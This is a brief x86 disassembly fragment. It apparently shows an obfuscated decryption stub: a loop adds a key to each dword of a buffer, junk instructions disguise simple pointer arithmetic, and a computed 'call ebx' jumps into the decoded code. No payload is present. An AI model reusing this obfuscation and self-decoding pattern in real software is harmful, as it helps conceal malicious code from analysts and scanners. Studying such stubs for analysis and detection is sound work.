mov ebx, 0x3540fcc3
add dword [ebp - 4], 0x129f2ac6
mov edx, dword [edi]
mov dword [ebp - 4], 0x80aae492
add edx, ebx
mov dword [ebp - 0x1c], 0xd9a67623
mov dword [esi], edx
xor dword [ebp - 0xc], 0xbd0a9483
add esi, 0xcc5d3478
add esi, 0x33a2cb8c
add edi, 4
loop 0x401556
add eax, 0x128df
xor ebx, ebx
add ebx, eax
add eax, 0x1bcf0883
sub eax, 0x1bcf087e
mov ecx, 0x8283e402
add ecx, 0x7dbc1bfe
add ecx, dword [ebp - 0x20]
call ebx
leave
ret